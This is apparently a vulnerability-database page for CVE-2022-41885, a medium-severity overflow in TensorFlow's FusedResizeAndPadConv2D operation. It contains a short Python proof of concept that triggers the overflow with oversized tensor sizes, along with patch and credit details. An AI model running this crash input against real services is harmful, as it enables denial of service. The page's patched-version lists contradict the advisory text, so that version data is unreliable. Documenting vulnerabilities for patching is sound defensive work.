CVE-2022-41885Medium· 4.8▾ SunlitOverflow in `FusedResizeAndPadConv2D`
▾ Sunlit zone — Low / medium · no exploitation signal
impact 26.4 · likelihood 0.1 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.4%
0.4% → 0.5%
When tf.raw_ops.FusedResizeAndPadConv2D is given a large tensor shape, it overflows.
import tensorflow as tf
mode = "REFLECT"
strides = [1, 1, 1, 1]
padding = "SAME"
resize_align_corners = False
input = tf.constant(147, shape=[3,3,1,1], dtype=tf.float16)
size = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32)
paddings = tf.constant([3,4], shape=[2], dtype=tf.int32)
filter = tf.constant(123, shape=[1,3,4,1], dtype=tf.float16)
tf.raw_ops.FusedResizeAndPadConv2D(input=input, size=size, paddings=paddings, filter=filter, mode=mode, strides=strides, padding=padding, resize_align_corners=resize_align_corners)
We have patched the issue in GitHub commit d66e1d568275e6a2947de97dca7a102a211e01ce.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
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This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.
tensorflow < 2.7.4tensorflow >= 2.8.0, < 2.8.1tensorflow >= 2.9.0, < 2.9.1tensorflow-cpu < 2.7.4tensorflow-gpu < 2.7.4tensorflow-cpu >= 2.8.0, < 2.8.1tensorflow-gpu >= 2.8.0, < 2.8.1tensorflow-cpu >= 2.9.0, < 2.9.1tensorflow-gpu >= 2.9.0, < 2.9.1Upgrade to a patched release:
tensorflow 2.7.4tensorflow 2.8.1tensorflow 2.9.1tensorflow-cpu 2.7.4tensorflow-gpu 2.7.4tensorflow-cpu 2.8.1tensorflow-gpu 2.8.1tensorflow-cpu 2.9.1tensorflow-gpu 2.9.1Connected by shared product, vendor, weakness, or advisory.
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